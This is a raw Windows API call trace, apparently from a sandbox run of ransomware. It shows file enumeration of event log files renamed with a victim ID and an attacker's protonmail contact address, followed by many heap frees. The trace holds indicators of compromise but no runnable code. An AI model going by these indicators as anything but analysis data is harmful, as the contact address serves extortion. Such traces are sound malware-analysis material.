	[0167.953] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a034448, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a034448, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a034448, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA204~1.HTM")) returned 1
	[0167.953] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a05a895, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a05a895, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a5917e6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI75E2~1.HTM")) returned 1
	[0167.953] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a05a895, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a05a895, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a05a895, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI81F4~1.HTM")) returned 1
	[0167.953] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a080978, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a080978, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a080978, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MID54D~1.HTM")) returned 1
	[0167.953] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a0a6cb3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a0a6cb3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a0a6cb3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE8A9~1.HTM")) returned 1
	[0167.953] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a0cce58, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a0cce58, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a0f3171, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIC4D5~1.HTM")) returned 1
	[0167.953] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a0f3171, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a0f3171, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a0f3171, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI2B87~1.HTM")) returned 1
	[0167.953] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a4141ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a4141ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a5917e6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI45A8~1.HTM")) returned 1
	[0167.954] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a5b7b58, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a5b7b58, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a5b7b58, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI6314~1.HTM")) returned 1
	[0167.954] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a5dde20, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a5dde20, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a5dde20, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11136, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI50B9~1.HTM")) returned 1
	[0167.954] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a5dde20, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a5dde20, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a9251d2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA182~1.HTM")) returned 1
	[0167.954] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a676654, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a676654, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a676654, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11168, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI05FA~1.HTM")) returned 1
	[0167.954] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a69c938, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a69c938, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a69c938, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI22DE~1.HTM")) returned 1
	[0167.954] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a70f062, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a70f062, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a70f062, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11170, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI69E4~1.HTM")) returned 1
	[0167.954] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa7c70d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8aa7c70d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac46302, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1117c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI03C7~1.HTM")) returned 1
	[0167.954] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a94b50a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a94b50a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a94b50a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI979C~1.HTM")) returned 1
	[0167.955] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a97171f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a97171f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac92706, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11154, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI5C5C~1.HTM")) returned 1
	[0167.955] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a97171f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a97171f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a997842, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MID56C~1.HTM")) returned 1
	[0167.955] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a997842, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a997842, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a9bdaf7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIC663~1.HTM")) returned 1
	[0167.955] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abad9ac, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8abad9ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8abd3bf0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11156, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIC361~1.HTM")) returned 1
	[0167.955] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abd3bf0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8abd3bf0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8abf9d81, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI30F6~1.HTM")) returned 1
	[0167.958] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3df0950 | out: hHeap=0x610000) returned 1
	[0168.097] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3df0950 | out: hHeap=0x610000) returned 1
	[0168.098] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4465ff8 | out: hHeap=0x610000) returned 1
	[0168.309] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.309] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.309] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.310] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.310] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.310] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.310] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.310] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.311] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.311] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.312] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.312] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.312] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.312] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.312] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.313] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.313] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.314] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.314] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.315] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.315] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.315] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.315] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.316] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.316] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44abfb8 | out: hHeap=0x610000) returned 1
	[0168.316] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.316] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673a90, Size=0x4000) returned 0x443f8c8
	[0168.317] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.317] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.317] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.317] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.319] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.319] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.319] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.319] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.320] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.320] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.321] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.321] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.321] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.321] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.321] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.322] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.322] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.322] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.322] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.322] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.322] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.323] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.323] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.323] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.323] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.323] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x449afa8 | out: hHeap=0x610000) returned 1
	[0168.324] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.767] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.767] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0168.770] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.770] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.770] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.771] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.771] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.772] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.772] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.772] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.772] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.774] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.774] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.776] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0168.776] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.777] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.777] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4465ff8 | out: hHeap=0x610000) returned 1
	[0168.779] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4465ff8 | out: hHeap=0x610000) returned 1
	[0168.780] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.781] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.781] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.782] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.782] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.783] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.784] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.784] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4465ff8 | out: hHeap=0x610000) returned 1
	[0168.784] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4455ff0 | out: hHeap=0x610000) returned 1
	[0168.787] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.787] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.787] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0168.787] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0168.923] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0168.925] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0168.926] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0168.926] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0168.927] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0168.927] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0168.927] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0169.002] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0169.005] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0169.009] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0169.015] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44dafc8 | out: hHeap=0x610000) returned 1
	[0169.015] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0169.015] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x443f8c8, Size=0x4000) returned 0x44dafc8
	[0169.017] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44defd0 | out: hHeap=0x610000) returned 1
	[0169.020] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44defd0 | out: hHeap=0x610000) returned 1
	[0169.269] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44defd0 | out: hHeap=0x610000) returned 1
	[0169.269] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0169.269] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0169.271] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0169.273] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0169.275] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0169.278] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44defd0 | out: hHeap=0x610000) returned 1
	[0169.563] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44dafc8, Size=0x8000) returned 0x446b940
	[0169.841] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
